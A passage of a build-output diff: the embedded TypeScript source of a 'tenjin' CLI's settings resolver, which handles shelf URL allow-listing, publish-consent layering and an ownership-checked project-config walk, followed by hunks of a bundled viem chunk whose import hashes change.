tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;AACzB,QAAM,SAAS,EAAE,kBAAkB;AACnC,MAAI,OAAO,WAAW,EAAG,QAAO;AAChC,QAAM,aAAa,UAAU,OAAO,WAAW,gBAAgB,OAAO;AACtE,QAAM,YAAY,UAAU,EAAE,QAAQ,KAAK;AAC3C,MAAI,eAAe,UAAa,cAAc,UAAa,eAAe,WAAW;AACnF,WAAO;AAAA,EACT;AACA,MAAI,CAAC,kBAAkB,YAAY,EAAE,eAAe,KAAK,EAAG,QAAO;AACnE,SAAO,EAAE,QAAQ,YAAY,OAAO;AACtC;AAUO,SAAS,kBAAkB,QAAgB,gBAAiC;AACjF,MAAI,iBAAiB,QAAQ,iBAAiB,EAAG,QAAO;AACxD,QAAM,eAAe,UAAU,cAAc;AAC7C,SAAO,iBAAiB,UAAa,CAAC,iBAAiB,QAAQ,YAAY;AAC7E;AAkBO,SAAS,iBAAiB,QAAgC;AAC/D,QAAM,SAAS,OAAO,qBAAqB,gBAAgB;AAC3D,MAAI,OAAO,WAAW,YAAY,WAAW,GAAI,QAAO;AACxD,QAAM,SAAS,UAAU,OAAO,WAAW,gBAAgB,OAAO;AAClE,MAAI,WAAW,OAAW,QAAO;AACjC,SAAO,kBAAkB,QAAQ,OAAO,kBAAkB,gBAAgB,cAAc;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AM;AAAA,EACR;AACF;AAOA,eAAe,sBAAsB,UAAoC;AACvE,QAAM,MAAM,QAAQ,SAAS;AAC7B,MAAI,QAAQ,OAAW,QAAO;AAC9B,MAAI;AACF,YAAQ,MAAM,KAAK,QAAQ,GAAG,QAAQ;AAAA,EACxC,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAGA,eAAsB,WAAW,MAAgC;AAC/D,MAAI;AACF,UAAM,KAAK,IAAI;AACf,WAAO;AAAA,EACT,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAQA,SAAS,oBAAoB,UAAoC;AAC/D,SAAO,IAAI,QAAQ,CAACA,aAAY;AAC9B;AAAA,MACE;AAAA,MACA,CAAC,gBAAgB,WAAW,MAAM,QAAQ;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
@@ -17,19 +17,17 @@ import {
17
17
  hashTypedData,
18
18
  keccak256 as keccak2562,
19
19
  publicKeyToAddress,
20
+ ripemd160,
20
21
  serializeSignature,
21
22
  serializeTransaction,
22
23
  serializeTypedData,
23
24
  toBlobSidecars,
24
25
  toRlp,
25
26
  validateTypedData
26
- } from "./chunk-NCE5NSN6.js";
27
- import {
28
- ripemd160
29
- } from "./chunk-RY4XKNV3.js";
27
+ } from "./chunk-N35E6CM2.js";
30
28
  import {
31
29
  secp256k1
32
- } from "./chunk-QVX5MWJZ.js";
30
+ } from "./chunk-JRGFKVAZ.js";
33
31
  import {
34
32
  AtomicReadyWalletRejectedUpgradeError,
35
33
  AtomicityNotSupportedError,
@@ -110,7 +108,7 @@ import {
110
108
  universalResolverResolveAbi,
111
109
  universalResolverReverseAbi,
112
110
  withResolvers
113
- } from "./chunk-ZMHYXMO6.js";
111
+ } from "./chunk-5IEP5EGE.js";
114
112
  import {
115
113
  AbiConstructorNotFoundError,
116
114
  AbiConstructorParamsNotFoundError,
@@ -210,7 +208,7 @@ import {
210
208
  trimLeft2,
211
209
  validate,
212
210
  validate2
213
- } from "./chunk-YALGASEU.js";
211
+ } from "./chunk-EGELTSPU.js";
214
212
  import {
215
213
  __export
216
214
  } from "./chunk-ZXTAQYNA.js";
@@ -350,7 +348,7 @@ function getContractError(err, { abi: abi2, address, args, docsPath: docsPath4,
350
348
  // node_modules/.pnpm/viem@2.55.2_typescript@6.0.3_zod@4.4.3/node_modules/viem/_esm/utils/signature/recoverPublicKey.js
351
349
  async function recoverPublicKey({ hash: hash2, signature }) {
352
350
  const hashHex = isHex(hash2) ? hash2 : toHex(hash2);
353
- const { secp256k1: secp256k12 } = await import("./secp256k1-N3ZHU7LB.js");
351
+ const { secp256k1: secp256k12 } = await import("./secp256k1-ZZZT2CAX.js");
354
352
  const signature_ = (() => {
355
353
  if (typeof signature === "object" && "r" in signature && "s" in signature) {
356
354
  const { r, s, v, yParity } = signature;
@@ -10302,4 +10300,4 @@ export {
10302
10300
  serializeCompactSignature,
10303
10301
  signatureToCompactSignature
10304
10302
  };
10305
- //# sourceMappingURL=chunk-UGX7YPX2.js.map
10303
+ //# sourceMappingURL=chunk-AWQPGIR6.js.map